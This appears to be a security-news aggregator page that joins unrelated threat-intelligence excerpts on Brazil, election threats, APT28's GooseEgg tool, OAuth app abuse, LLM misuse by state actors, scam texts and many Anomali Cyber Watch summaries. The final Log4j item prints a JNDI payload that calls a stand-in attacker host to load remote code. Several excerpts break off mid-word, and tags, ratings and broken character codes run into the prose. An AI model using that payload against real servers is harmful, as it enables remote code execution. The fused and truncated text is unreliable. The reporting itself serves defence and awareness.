Written by: Kristen Dennesen, Luke McNamara, Dmitrij Lenz, Adam Weidemann, Aline Bueno
  Individuals and organizations in Brazil face a unique cyber threat landscape because it is a complex interplay of global and local threats, posing significant risks to individuals, organizations, and critical sectors of Brazilian society. Many of the cyber espionage threat actors that are prolific in campaigns across the globe are also active in carrying out attempted intrusions into critical sectors of Brazilian society. Brazil also faces threats posed by the worldwide increase in multifaceted extortion, as ransomware and data theft continue to rise. At the same time, the threat landscape in Brazil is shaped by a domestic cybercriminal market, where threat actors coordinate to carry out account takeovers, conduct carding and fraud, deploy banking malware and facilitate other cyber threats targeting Brazilians. The rise of the Global South, with Brazil at the forefront, marks a significant shift in the geopolitical landscape; one that extends into the cyber realm. As Brazil\'s influence grows, so does its digital footprint, making it an increasingly attractive target for cyber threats originating from both global and domestic actors. This blog post brings together Google\'s collective understanding of the Brazilian threat landscape, combining insights from Google\'s Threat Analysis Group (TAG) and Mandiant\'s frontline intelligence. As Brazil\'s economic and geopolitical role in global affairs continues to rise, threat actors from an array of motivations will further seek opportunities to exploit the digital infrastructure that Brazilians rely upon across all aspects of society. By sharing our global perspective, we hope to enable greater resiliency in mitigating these threats. Google uses the results of our research to improve the safety and security of our products, making them secure by default. Chrome OS has built-in and proactive security to protect from ransomware, and there have been no reported ransomware attacks ever on any business, education, or consumer Chrome OS device. Google security teams continuously monitor for new threat activity, and all identified websites and domains are added to Safe Browsing to protect users from further exploitation. We deploy and constantly update Android detections to protect users\' devices and prevent malicious actors from publishing malware to the Google Play Store. We send targeted Gmail and Workspace users government-backed attacker alerts, notifying them of the activity and encouraging potential targets to enable Enhanced Safe Browsing for Chrome and ensure that all devices are updated.   Cyber Espionage Operations Targeting Brazil Brazil\'s status as a globally influential power and the largest economy in South America have drawn attention from c

Poll Vaulting: Cyber Threats to Global Elections
(lien direct)
Written by: Kelli Vanderlee, Jamie Collier
  Executive Summary The election cybersecurity landscape globally is characterized by a diversity of targets, tactics, and threats. Elections attract threat activity from a variety of threat actors including: state-sponsored actors, cyber criminals, hacktivists, insiders, and information operations as-a-service entities. Mandiant assesses with high confidence that state-sponsored actors pose the most serious cybersecurity risk to elections. Operations targeting election-related infrastructure can combine cyber intrusion activity, disruptive and destructive capabilities, and information operations, which include elements of public-facing advertisement and amplification of threat activity claims. Successful targeting does not automatically translate to high impact. Many threat actors have struggled to influence or achieve significant effects, despite their best efforts.  When we look across the globe we find that the attack surface of an election involves a wide variety of entities beyond voting machines and voter registries. In fact, our observations of past cycles indicate that cyber operations target the major players involved in campaigning, political parties, news and social media more frequently than actual election infrastructure.   Securing elections requires a comprehensive understanding of many types of threats and tactics, from distributed denial of service (DDoS) to data theft to deepfakes, that are likely to impact elections in 2024. It is vital to understand the variety of relevant threat vectors and how they relate, and to ensure mitigation strategies are in place to address the full scope of potential activity.  Election organizations should consider steps to harden infrastructure against common attacks, and utilize account security tools such as Google\'s Advanced Protection Program to protect high-risk accounts. Introduction  The 2024 global election cybersecurity landscape is characterized by a diversity of targets, tactics, and threats. An expansive ecosystem of systems, administrators, campaign infrastructure, and public communications venues must be secured against a diverse array of operators and methods. Any election cybersecurity strategy should begin with a survey of the threat landscape to build a more proactive and tailored security posture.  The cybersecurity community must keep pace as more than two billion voters are expected to head to the polls in 2024. With elections in more than an estimated 50 countries, there is an opportunity to dynamically track how threats to democracy evolve. Understanding how threats are targeting one country will enable us to better anticipate and prepare for upcoming elections globally. At the same time, we must also appreciate the unique context of different countries. Election threats to South Africa, India, and the United States will inevitably differ in some regard. In either case, there is an opportunity for us to prepare with the advantage of intelligence.

Microsoft a récemment révélé que le groupe de menaces russes & # 8220; APT28 & # 8243;utilisé un outil de piratage précédemment inconnu, «GooseEgg & # 8221;Pour exploiter la vulnérabilité Windows Print Spooler pour obtenir un accès élevé aux systèmes cibles et voler des informations d'identification et des informations. Selon l'équipe de renseignement des menaces de Redmond, APT28, également appelée Fancy Bear and Forest Blizzard (anciennement Strontium), utilise l'outil post-compromis depuis au moins juin 2020 et peut-être dès avril 2019Pour exploiter le CVE-2022-38028 (score CVSS: 7.8) Vulnérabilité dans Windows Print Spooler Service. Cet outil modifie un fichier de contraintes JavaScript et l'exécute avec des autorisations au niveau du système. Bien que la société ait abordé la vulnérabilité, CVE-2022-38028, rapportée par la U.S.Mate Security Agency (NSA) dans le cadre de Microsoft & # 8217; s octobre 2022 Patch Mardi Security Mises à jour, elle n'a fait aucune mention du défaut dans son avis . Microsoft a observé APT28 en utilisant GooseEgg dans le cadre des activités post-compromis contre diverses cibles, y compris les organisations gouvernementales, non gouvernementales, de l'éducation et des transports en Ukraine, en Europe occidentale et en Amérique du Nord. Bien que Gooseegg soit une application de lanceur simple, il peut engendrer d'autres applications sur la ligne de commande avec des autorisations élevées. Cela permet aux acteurs de menace de prendre en charge les activités malveillantes telles que l'exécution du code distant, l'installation d'une porte dérobée et le déplacement latéralement à travers des réseaux compromis. Les gouvernements américains et britanniques ont lié Forest Blizzard à l'unité 26165 de la Fédération de Russie \'s Military Intelligence Agency, la principale Direction du renseignement de l'état-major général des Forces armées de la Fédération de Russie (GRU). «Microsoft a observé qu'après avoir obtenu l'accès à un appareil cible, Forest Blizzard utilise GooseEgg pour élever les privilèges dans l'environnement.GooseEgg est généralement déployé avec un script de lot, que nous avons observé en utilisant le nom execute.bat et doit.bat .Ce script de lot écrit le fichier servtask.bat, qui contient des commandes pour enregistrer / compresser les ruches de registre.Le script de lot invoque l'exécutable de GooseEgg apparié et configure la persistance en tant que tâche planifiée conçue pour exécuter servtask.bat », lit le Advisory publié par Microsoft lundi.

Cybersecurity Stop of the Month: Defeating Malicious Application Creation Attacks
(lien direct)
This blog post is part of a monthly series, Cybersecurity Stop of the Month, which explores the ever-evolving tactics of today\'s cybercriminals. It focuses on the critical first three steps in the attack chain in the context of email threats. The goal of this series is to help you understand how to fortify your defenses to protect people and defend data against emerging threats in today\'s dynamic threat landscape.    The critical first three steps of the attack chain-reconnaissance, initial compromise and persistence.  So far in this series, we have examined these types of attacks:   Supplier compromise    EvilProxy     SocGholish     eSignature phishing    QR code phishing    Telephone-oriented attack delivery (TOAD)      Payroll diversion    MFA manipulation     Supply chain compromise  Multilayered malicious QR code attack In this post, we examine an emerging threat-the use of malicious cloud applications created within compromised cloud tenants following account takeover. We refer to it as MACT, for short.   Background  Cloud account takeover (ATO) attacks are a well-known risk. Research by Proofpoint found that last year more than 96% of businesses were actively targeted by these attacks and about 60% had at least one incident. Financial damages reached an all-time high.  These findings are unsettling. But there is more for businesses to worry about. Cybercriminals and state-sponsored entities are rapidly adopting advanced post-ATO techniques. And they have embraced the use of malicious and abused OAuth apps.  In January 2024, Microsoft revealed that a nation-state attacker had compromised its cloud environments and stolen valuable data. This attack was attributed to TA421 (aka Midnight Blizzard and APT29), which are threat groups that have been attributed to Russia\'s Foreign Intelligence Service (SVR). Attackers exploited existing OAuth apps and created new ones within hijacked cloud tenants. After the incident, CISA issued a new advisory for businesses that rely on cloud infrastructures.   Proofpoint threat researchers observed attackers pivoting to the use of OAuth apps from compromised-and often verified-cloud tenants. Threat actors take advantage of the trust that\'s associated with verified or recognized identities to spread cloud malware threats as well as establish persistent access to sensitive resources.  The scenario  Proofpoint monitors a malicious campaign named MACT Campaign 1445. It combines a known tactic used by cloud ATO attackers with new tactics, techniques and procedures. So far, it has affected dozens of businesses and users. In this campaign, attackers use hijacked user accounts to create malicious internal apps. In tandem, they also conduct reconnaissance, exfiltrate data and launch additional attacks.  Attackers use a unique anomalous URL for the malicious OAuth apps\' reply URL-a local loopback with port 7823. This port is used for TCP traffic. It is also associated with a known Windows Remote Access Trojan (RAT).  Recently, Proofpoint researchers found four accounts at a large company in the hospitality industry compromised by attackers. In a matter of days, attackers used these accounts to create four distinct malicious OAuth apps.  The threat: How did the attack happen?  Here is a closer look at how the attack unfolded.   Initial access vectors. Attackers used a reverse proxy toolkit to target cloud user accounts. They sent individualized phishing lures to these users, which enabled them to steal their credentials as well as multifactor authentication (MFA) tokens.  A shared PDF file with an embedded phishing URL that attackers used to steal users\' credentials.  Unauthorized access (cloud account takeover). Once attackers had stolen users\' credentials, they established unauthorized access to the four targeted accounts. They logged in to several native Microsoft 365 sign-in apps, including “Azure Portal” and “Office Home.”  Cloud malware (post-access OAuth app creat Spam Malware Tool Threat Cloud APT 29 ★★★

Staying ahead of threat actors in the age of AI
(lien direct)
## Snapshot Over the last year, the speed, scale, and sophistication of attacks has increased alongside the rapid development and adoption of AI. Defenders are only beginning to recognize and apply the power of generative AI to shift the cybersecurity balance in their favor and keep ahead of adversaries. At the same time, it is also important for us to understand how AI can be potentially misused in the hands of threat actors. In collaboration with OpenAI, today we are publishing research on emerging threats in the age of AI, focusing on identified activity associated with known threat actors, including prompt-injections, attempted misuse of large language models (LLM), and fraud. Our analysis of the current use of LLM technology by threat actors revealed behaviors consistent with attackers using AI as another productivity tool on the offensive landscape. You can read OpenAI\'s blog on the research [here](https://openai.com/blog/disrupting-malicious-uses-of-ai-by-state-affiliated-threat-actors). Microsoft and OpenAI have not yet observed particularly novel or unique AI-enabled attack or abuse techniques resulting from threat actors\' usage of AI. However, Microsoft and our partners continue to study this landscape closely. The objective of Microsoft\'s partnership with OpenAI, including the release of this research, is to ensure the safe and responsible use of AI technologies like ChatGPT, upholding the highest standards of ethical application to protect the community from potential misuse. As part of this commitment, we have taken measures to disrupt assets and accounts associated with threat actors, improve the protection of OpenAI LLM technology and users from attack or abuse, and shape the guardrails and safety mechanisms around our models. In addition, we are also deeply committed to using generative AI to disrupt threat actors and leverage the power of new tools, including [Microsoft Copilot for Security](https://www.microsoft.com/security/business/ai-machine-learning/microsoft-security-copilot), to elevate defenders everywhere. ## Activity Overview ### **A principled approach to detecting and blocking threat actors** The progress of technology creates a demand for strong cybersecurity and safety measures. For example, the White House\'s Executive Order on AI requires rigorous safety testing and government supervision for AI systems that have major impacts on national and economic security or public health and safety. Our actions enhancing the safeguards of our AI models and partnering with our ecosystem on the safe creation, implementation, and use of these models align with the Executive Order\'s request for comprehensive AI safety and security standards. In line with Microsoft\'s leadership across AI and cybersecurity, today we are announcing principles shaping Microsoft\'s policy and actions mitigating the risks associated with the use of our AI tools and APIs by nation-state advanced persistent threats (APTs), advanced persistent manipulators (APMs), and cybercriminal syndicates we track. These principles include: - **Identification and action against malicious threat actors\' use:** Upon detection of the use of any Microsoft AI application programming interfaces (APIs), services, or systems by an identified malicious threat actor, including nation-state APT or APM, or the cybercrime syndicates we track, Microsoft will take appropriate action to disrupt their activities, such as disabling the accounts used, terminating services, or limiting access to resources. - **Notification to other AI service providers:** When we detect a threat actor\'s use of another service provider\'s AI, AI APIs, services, and/or systems, Microsoft will promptly notify the service provider and share relevant data. This enables the service provider to independently verify our findings and take action in accordance with their own policies. - **Collaboration with other stakeholders:** Microsoft will collaborate with other stakeholders to regularly exchange information a Ransomware Malware Tool Vulnerability Threat Studies Medical Technical APT 28 ChatGPT APT 4 ★★

CyberheistNews Vol 13 #26 CyberheistNews Vol 13 #26  |   June 27th, 2023 [Eyes Open] The FTC Reveals the Latest Top Five Text Message Scams The U.S. Federal Trade Commission (FTC) has published a data spotlight outlining the most common text message scams. Phony bank fraud prevention alerts were the most common type of text scam last year. "Reports about texts impersonating banks are up nearly tenfold since 2019 with median reported individual losses of $3,000 last year," the report says. These are the top five text scams reported by the FTC: Copycat bank fraud prevention alerts Bogus "gifts" that can cost you Fake package delivery problems Phony job offers Not-really-from-Amazon security alerts "People get a text supposedly from a bank asking them to call a number ASAP about suspicious activity or to reply YES or NO to verify whether a transaction was authorized. If they reply, they\'ll get a call from a phony \'fraud department\' claiming they want to \'help get your money back.\' What they really want to do is make unauthorized transfers. "What\'s more, they may ask for personal information like Social Security numbers, setting people up for possible identity theft." Fake gift card offers took second place, followed by phony package delivery problems. "Scammers understand how our shopping habits have changed and have updated their sleazy tactics accordingly," the FTC says. "People may get a text pretending to be from the U.S. Postal Service, FedEx, or UPS claiming there\'s a problem with a delivery. "The text links to a convincing-looking – but utterly bogus – website that asks for a credit card number to cover a small \'redelivery fee.\'" Scammers also target job seekers with bogus job offers in an attempt to steal their money and personal information. "With workplaces in transition, some scammers are using texts to perpetrate old-school forms of fraud – for example, fake \'mystery shopper\' jobs or bogus money-making offers for driving around with cars wrapped in ads," the report says. "Other texts target people who post their resumes on employment websites. They claim to offer jobs and even send job seekers checks, usually with instructions to send some of the money to a different address for materials, training, or the like. By the time the check bounces, the person\'s money – and the phony \'employer\' – are long gone." Finally, scammers impersonate Amazon and send fake security alerts to trick victims into sending money.

"Google Chrome users who use the browser regularly should be wary of a new attack campaign that distributes malware by posing as a Google Chrome update error message," Trend Micro warns. "The attack campaign has been operational since February 2023 and has a large impact area." The message displayed reads, "UPDATE EXCEPTION. An error occurred in Chrome automatic update. Please install the update package manually later, or wait for the next automatic update." A link is provided at the bottom of the bogus error message that takes the user to what\'s misrepresented as a link that will support a Chrome manual update. In fact the link will download a ZIP file that contains an EXE file. The payload is a cryptojacking Monero miner. A cryptojacker is bad enough since it will drain power and degrade device performance. This one also carries the potential for compromising sensitive information, particularly credentials, and serving as staging for further attacks. This campaign may be more effective for its routine, innocent look. There are no spectacular threats, no promises of instant wealth, just a notice about a failed update. Users can become desensitized to the potential risks bogus messages concerning IT issues carry with them. Informed users are the last line of defense against attacks like these.

The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity. Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence Roaming Mantis Implements New DNS Changer in Its Malicious Mobile App in 2022 (published: January 19, 2023) In December 2022, a financially-motivated group dubbed Roaming Mantis (Shaoye) continued targeting mobile users with malicious landing pages. iOS users were redirected to phishing pages, while Android users were provided with malicious APK files detected as XLoader (Wroba, Moqhao). Japan, Austria, France, and Germany were the most targeted for XLoader downloads (in that order). All but one targeted country had smishing as an initial vector. In South Korea, Roaming Mantis implemented a new DNS changer function. XLoader-infected Android devices were targeting specific Wi-Fi routers used mostly in South Korea. The malware would compromise routers with default credentials and change the DNS settings to serve malicious landing pages from legitimate domains. Analyst Comment: The XLoader DNS changer function is especially dangerous in the context of free/public Wi-Fi that serve many devices. Install anti-virus software for your mobile device. Users should be cautious when receiving messages with a link or unwarranted prompts to install software.

It is a rebranded development of the Ermac malware that was based on the Android banker Cerberus. Hook added new capabilities in targeting banking and cryptocurrency-related applications. The malware also added capabilities of a remote access trojan and a spyware. Its device take-over capabilities include being able to remotely view and interact with the screen of the infected device, manipulate files on the devices file system, simulate clicks, fill text boxes, and perform gestures. Hook can start the social messaging application WhatsApp, extract all the messages present, and send new ones. Analyst Comment: Users should take their mobile device security seriously whether they use it for social messaging or actually provide access to their banking accounts and/or cryptocurrency holdings. Similar to its predecessors, Hook will likely be used by many threat actors (malware-as-as-service model). It means the need to protect from a wide range of attacks: smishing, prompts to install malicious apps, excessive Malware Tool Threat Guideline APT 15 APT 25 ★★★

Trending Cyber News and Threat Intelligence Ransom Cartel Ransomware: A Possible Connection With REvil (published: October 14, 2022) Palo Alto Networks researchers analyzed Ransom Cartel, a double extortion ransomware-as-a-service group. Ransom Cartel came to existence in mid-December 2021 after the REvil group shut down. The Ransom Cartel group uses the Ransom Cartel ransomware, which shares significant code similarities with REvil, indicating close connections, but lacks REvil obfuscation engine capabilities. Ransom Cartel has almost no obfuscation outside of the configuration: unlike REvil it does not use string encryption and API hashing. Among multiple tools utilized by Ransom Cartel, the DonPAPI credential dumper is unique for this group. It performs Windows Data Protection API (DPAPI) dumping by targeting DPAPI-protected credentials such as credentials saved in web browsers, RDP passwords, and Wi-Fi keys. Analyst Comment: Network defenders should consider monitoring or blocking high-risk connections such as TOR traffic that is often abused by Ransom Cartel and its affiliates. It is crucial that your company ensure that servers are always running the most current software version. Your company should have policies in place in regards to the proper configurations needed for your servers in order to conduct your business needs safely.

The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity. Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence Microsoft Investigates Iranian Attacks Against the Albanian Government (published: September 8, 2022) Microsoft researchers discovered that groups working under Iran’s Ministry of Intelligence and Security (MOIS, tracked as OilRig) attacked the government of Albania. The attackers started with initial intrusion in May 2021, proceeded with mailbox exfiltrations between October 2021 and January 2022, organized controlled leaks, and culminated on July 15, 2022, with disruptive ransomware and wiper attacks. This attack is probably a response to the June 2021 Predatory Sparrow’s anti-Iranian cyber operations promoting the Mujahedin-e Khalq (MEK), an Iranian dissident group largely based in Albania. Analyst Comment: MOIS attack on Albania uses messaging and targeting similar to the previous MEK-associated attack on Iran. It tells us that Iran has chosen to engage in a form of direct and proportional retaliation as it sees it. Still, the attack and its attribution caused Albania to cut diplomatic ties with Iran and expel the country's embassy staff. Organizations should implement multifactor authentication (MFA) for mailbox access and remote connectivity. Anomali platform users advised to block known OilRig network indicators.

In June and July 2022, the group used spearphishing to deliver the PlugX malware to government officials in Europe, the Middle East, and South America. To bypass mail-scanning antiviruses, the archived email attachment had malware embedded eight levels deep in a sequence of hidden folders named with special characters. Analyst Comment: Many advanced attacks start with basic techniques such as unwarranted email with malicious attachment that requires the user to open it and enable macros. It is important to teach your users basic online hygiene and phishing awareness. MITRE ATT&CK: [MITRE ATT&CK] Phishing - T1566 | Ransomware Malware Tool Vulnerability Threat Guideline APT 27 APT 34

Trending Cyber News and Threat Intelligence LastPass Hackers Stole Source Code (published: August 26, 2022) In August 2022, an unidentified threat actor gained access to portions of the password management giant LastPass development environment. LastPass informed that it happened through a single compromised developer account and the attacker took portions of source code and some proprietary LastPass technical information. The company claims that this incident did not affect customer data or encrypted password vaults. Analyst Comment: This incident doesn’t seem to have an immediate impact on LastPass users. Still, organizations relying on LastPass should raise the concern in their risk assessment since “white-box hacking” (when source code of the attacking system is known) is easier for threat actors. Organizations providing public-facing software should take maximum measures to block threat actors from their development environment and establish robust and transparent security protocols and practices with all third parties involved in their code development. Tags: LastPass, Password manager, Data breach, Source code Mercury Leveraging Log4j 2 Vulnerabilities in Unpatched Systems to Target Israeli (published: August 25, 2022) Starting in July 2022, a new campaign by Iran-sponsored group Static Kitten (Mercury, MuddyWater) was detected targeting Israeli organizations. Microsoft researchers detected that this campaign was leveraging exploitation of Log4j 2 vulnerabilities (CVE-2021-45046 and CVE-2021-44228) in SysAid applications (IT management tools). For persistence Static Kitten was dropping webshells, creating local administrator accounts, stealing credentials, and adding their tools in the startup folders and autostart extensibility point (ASEP) registry keys. Overall the group was heavily using various open-source and built-in operating system tools: eHorus remote management software, Ligolo reverse tunneling tool, Mimikatz credential theft tool, PowerShell programs, RemCom remote service, Venom proxy tool, and Windows Management Instrumentation (WMI). Analyst Comment: Network defenders should monitor for alerts related to web shell threats, suspicious RDP sessions, ASEP registry anomaly, and suspicious account creation. Similarly, SysAid users can monitor for webshells and abnormal processes related to SysAisServer instance. Even though Static Kitten was observed leveraging the Log4Shell vulnerabilities in the past (targeting VMware apps), most of their attacks still start with spearphishing, often from a compromised email account.

On the other hand, it also means you now have to deal with how hardware timers actually work, which introduces its own flavors of weird timing variations.Introduction I recently discovered a race condition (https://crbug.com/project-zero/2247) in the Linux kernel. (While trying to explain to someone how the fix for CVE-2021-0920 worked - I was explaining why the Unix GC is now safe, and then got confused because I couldn't actually figure out why it's safe after that fix, eventually realizing that it actually isn't safe.) It's a fairly narrow race window, so I was wondering whether it could be hit with a small number of attempts - especially on kernels that aren't built with CONFIG_PREEMPT, which would make it possible to preempt a thread with another thread, as I described at LSSEU2019. This is a writeup of how I managed to hit the race on a normal Linux desktop kernel, with a hit rate somewhere around 30% if the proof of concept has been tuned for the specific machine. I didn't do a full exploit though, I stopped at getting evidence of use-after-free (UAF) accesses (with the help of a very large file descriptor table and userfaultfd, which might not be available to normal users depending on system configuration) because that's the part I was curious about. This also demonstrates that even very small race conditions can still be exploitable if someone sinks enough time into writing an exploit, so be careful if you dismiss very small race windows as unexploitable or don't treat such issues as security bugs.

Trending Cyber News and Threat Intelligence Reservations Requested: TA558 Targets Hospitality and Travel (published: August 18, 2022) Since 2018, financially-motivated threat group TA558 has targeted hospitality and travel with reservation-themed, business-relevant phishing emails. The group concentrates on targeting Latin America using lures written in Portuguese and Spanish, and sometimes uses English and wider targeting (North America, Western Europe). TA558 was seen leveraging at least 15 different malware payloads, most often AsyncRAT, Loda RAT, Revenge RAT, and Vjw0rm. In 2022, Proofpoint researchers detected that TA558 increased its activity and moved from using malicious macros to URLs and container files (ISO, RAR). Analyst Comment: Microsoft’s preparations to disable macros by default in Office products caused multiple threat groups including TA558 to adopt new filetypes to deliver payloads. It is crucial for personnel working with invoices and other external attachments to use updated, secured systems and be trained on phishing threats. Anomali Match can be used to quickly search your infrastructure for known TA558 IOCs.

The Estonian government confirmed receiving the “most extensive” DDoS attacks in 15 years, but stressed that all services are back online after just some minor interruptions. Small and medium-sized DDoS attacks targeted 16 state and private organizations in the country, with seven of them experiencing downtime as a result. Specifically, the Estonian Tax and Customs Board website was unavailable for about 70 minutes. Analyst Comment: Russian cyber activity follows political tensions, this time coinciding with the removal of a Red Army memorial. Estonia seemingly easily fended off this Russian DDoS attack, but the country is one of the top in cyber preparedness, and Russia limited it’s strike to using hacktivist groups that give plausible deniability when attributing the cyber attack on a NATO country.

Trending Cyber News and Threat Intelligence SharpTongue Deploys Clever Mail-Stealing Browser Extension “SHARPEXT” (published: July 28, 2022) Volexity researchers discovered SharpExt, a new malicious browser app used by the North-Korea sponsored Velvet Chollima (Kimsuky, SharpTongue, Thallium) group. SharpExt inspects and exfiltrates data from a victim's webmail (AOL or Gmail) account as they browse it. Velvet Chollima continues to add new features to the app, the latest known version (3.0) supports three browsers: Microsoft Edge, Google Chrome, and Whale, the latter almost exclusively used in South Korea. Following the initial compromise, Velvet Chollima deploy SharpExt and to avoid warning the victim they manually exfiltrate settings files to change the settings and generate a valid "super_mac" security check value. They also hide the newly opened DevTools window and any other warning windows such as a warning regarding extensions running in developer mode. Analyst Comment: Velvet Chollima is known for its tactic of deploying malicious browser extensions, but in the past it was concentrating on stealing credentials instead of emails. The group continues aggressive cyberespionage campaigns exfiltrating military and industrial technologies from Europe, South Korea, and the US. Network defenders should monitor for suspicious instances of PowerShell execution, as well as for traffic to and from known Velvet Chollima infrastructure (available in Anomali Match).

Trending Cyber News and Threat Intelligence Targets of Interest | Russian Organizations Increasingly Under Attack By Chinese APTs (published: July 7, 2022) SentinelLabs researchers detected yet another China-sponsored threat group targeting Russia with a cyberespionage campaign. The attacks start with a spearphishing email containing Microsoft Office maldocs built with the Royal Road malicious document builder. These maldocs were dropping the Bisonal backdoor remote access trojan (RAT). Besides targeted Russian organizations, the same attackers continue targeting other countries such as Pakistan. This China-sponsored activity is attributed with medium confidence to Tonto Team (CactusPete, Earth Akhlut). Analyst Comment: Defense-in-depth (layering of security mechanisms, redundancy, fail-safe defense processes) is the best way to ensure safety from advanced persistent threats (APTs), including a focus on both network and host-based security. Prevention and detection capabilities should also be in place. Furthermore, all employees should be educated on the risks of spearphishing and how to identify such attempts.

This malware hooks functions and adds itself to all running processes, but it doesn’t use LD_PRELOAD as previously described Linux threats. Instead it achieves persistence by adding the path to the malware into the /etc/ld.so.preload and by patching the binary of the loader itself so it will load the malicious shared object. OrBit establishes an SSH connection, then stages and infiltrates stolen credentials. It avoids detection by multiple functions that show running processes or network connections, as it hooks these functions and filters their output. Analyst Comment: Defenders are advised to use network telemetry to detect anomalous SSH traffic associated with OrBit exfiltration attempts. Consider network segmentation, storing sensitive data offline, and deploying security solutions as statically linked executables.

The phishing email directs the recipient to open the attached zip file which contains a pdf of the infringed material. In reality, the pdf is a disguised NSIS executable which downloads and installs Lockbit. The ransomware is installed onto the desktop for persistence through desktop change or reboot. Prior to data encryption, Lockbit will delete the volume shadow copy to prevent data recovery, in addition to terminating a variety of services and processes to avoid detection. Analyst Comment: Never click on suspicious attachments or run any executables from suspicious emails. Copyright infringement emails are a common phishing lure. Such emails will be straight forward to rectify if legitimate. If a copyright email is attempting to coerce you into opening attachments, such emails should be treated with extreme caution.

API Hammering makes use of a large volume of Windows API calls to delay the execution of malicious activity to trick sandboxes into thinking the malware is benign. Whilst BazarLoader has utilized the technique in the past, this new variant creates large loops of benign API using a new process. Encoded registry keys within the malware are used for the calls and the large loop count is created from the offset of the first null byte of the first file in System32 directory. Zloader uses a different form of API Hammering to evade sandbox detection. Hardcoded within Zloader are four large functions with many smaller functions within. Each function makes an input/output (I/O) call to mimic the behavior of many legitimate processes. Analyst Comment: Defense in depth is the best defense against sophisticated malware.

Jocker trojan operators add malicious code to legitimate apps and re-upload them to Google Store under different names. To avoid detection, malicious functionality won’t start until the trojan checks that it is available in the store. The malicious payload is split in up to four files. It can block or substitute anti-fraud scripts, and modify X-Requested-With header in an HTTP request. Another Android malware involved in subscription fraud, MobOk trojan, has additional functionality to bypass captcha. MobOk was seen in a malicious app in Google Store, but the most common infection vector is being spread by other Trojans such as Triada. Analyst Comment: Limit your apps to downloads from the official stores (Google Store for Android), avoid new apps with low number of downloads and bad reviews. Pay attention to the terms of use and payment. Avoid granting it too many permissions if those are not crucial to the app alleged function. Monitor your balance and subscription list.

Trending Cyber News and Threat Intelligence SocGholish and Zloader – From Fake Updates and Installers to Owning Your Systems (published: April 25, 2022) Cybereason researchers have compared trending attacks involving SocGholish and Zloader malware. Both infection chains begin with social engineering and malicious downloads masquerading as legitimate software, and both lead to data theft and possible ransomware installation. SocGholish attacks rely on drive-by downloads followed by user execution of purported browser installer or browser update. The SocGholish JavaScript payload is obfuscated using random variable names and string manipulation. The attacker domain names are written in reverse order with the individual string characters being put at the odd index positions. Zloader infection starts by masquerading as a popular application such as TeamViewer. Zloader acts as information stealer, backdoor, and downloader. Active since 2016, Zloader actively evolves and has acquired detection evasion capabilities, such as excluding its processes from Windows Defender and using living-off-the-land (LotL) executables. Analyst Comment: All applications should be carefully researched prior to installing on a personal or work machine. Applications that request additional permissions upon installation should be carefully vetted prior to allowing permissions. Additionally, all applications, especially free versions, should only be downloaded from trusted vendors.

Trending Cyber News and Threat Intelligence Webinar on Cyberattacks in Ukraine – Summary and Q&A (published: March 14, 2022) As the military conflict in Ukraine continues, the number of cyberattacks in Ukraine is expected to rise in the next six months, according to Kaspersky researchers. Most of the current attacks on Ukraine are of low complexity, but advanced persistent threat (APT) attacks exist too. Gamaredon (Primitive Bear) APT group continues its spearphishing attacks. Sandworm APT targets SOHO network devices with modular Linux malware Cyclops Blink. Other suspected APT campaigns use MicroBackdoor malware or various wipers and fake ransomware (HermeticRansom, HermeticWiper, IsaacWiper, WhisperGate). Honeypot network in Ukraine detected over 20,000 attacking IP addresses, and most of them were seen attacking Ukraine exclusively. Analyst Comment: Harden your infrastructure against DDoS attacks, ransomware and destructive malware, phishing, targeted attacks, supply-chain attacks, and firmware attacks.

Trending Cyber News and Threat Intelligence FBI Warns Of Malicious QR Codes Used To Steal Your Money (published: January 23, 2022) The Federal Bureau of Investigation (FBI) recently released a notice that malicious QR codes have been found in the wild. These codes, when scanned, will redirect the victim to a site where they are prompted to enter personal and payment details. The site will then harvest these credentials for cybercriminals to commit fraud and empty bank accounts. This threat vector has been seen in Germany as of December 2021. Analyst Comment: Always be sure to check that emails have been sent from a legitimate source, and that any financial details or method of payment is done through the website. While QR codes are useful and being used by businesses more often, it is easy for cybercriminals to perform this kind of scam. If scanning a physical QR code, ensure the code has not been replaced with a sticker placed on top of the original code. Check the final URL to make sure it is the intended site and looks authentic.

Trending Cyber News and Threat Intelligence Earth Lusca Employs Sophisticated Infrastructure, Varied Tools and Techniques (published: January 17, 2022) The Earth Lusca threat group is part of the Winnti cluster. It is one of different Chinese groups that share aspects of their tactics, techniques, and procedures (TTPs) including the use of Winnti malware. Earth Lusca were active throughout 2021 committing both cyberespionage operations against government-connected organizations and financially-motivated intrusions targeting gambling and cryptocurrency-related sectors. For intrusion, the group tries different ways in including: spearphishing, watering hole attacks, and exploiting publicly facing servers. Cobalt Strike is one of the group’s preferred post-exploitation tools. It is followed by the use of the BioPass RAT, the Doraemon backdoor, the FunnySwitch backdoor, ShadowPad, and Winnti. The group employs two separate infrastructure clusters, first one is rented Vultr VPS servers used for command-and-control (C2), second one is compromised web servers used to scan for vulnerabilities, tunnel traffic, and Cobalt Strike C2. Analyst Comment: Earth Lusca often relies on tried-and-true techniques that can be stopped by security best practices, such as avoiding clicking on suspicious email/website links and or reacting on random banners urging to update important public-facing applications. Don’t be tricked to download Adobe Flash update, it was discontinued at the end of December 2020.

Trending Cyber News and Threat Intelligence Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit (published: December 10, 2021) A critical vulnerability, registered as CVE-2021-44228, has been identified in Apache Log4j 2, which is an open source Java package used to enable logging in. The Apache Software Foundation (ASF) rates the vulnerability as a 10 on the common vulnerability scoring system (CVSS) scale. Cisco Talos has observed malicious activity related to CVE-2021-44228 beginning on December 2, 2021. This vulnerability affects millions of users and exploitation proof-of-concept code exists via LunaSec explains how to exploit it in five simple steps. These include: 1: Data from the User gets sent to the server (via any protocol). 2: The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server). 3: The Log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via "Java Naming and Directory Interface" (JNDI). 4: This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process. 5: This injected payload triggers a second stage, and allows an attacker to execute arbitrary code. Analyst Comment: Log4j version 2.15.0 has been released to address this vulnerability, however, it only changes a default setting (log4j2.formatMsgNoLookups) from false to true. This means that if the setting is set back to false, Log4j will again be vulnerable to exploitation. 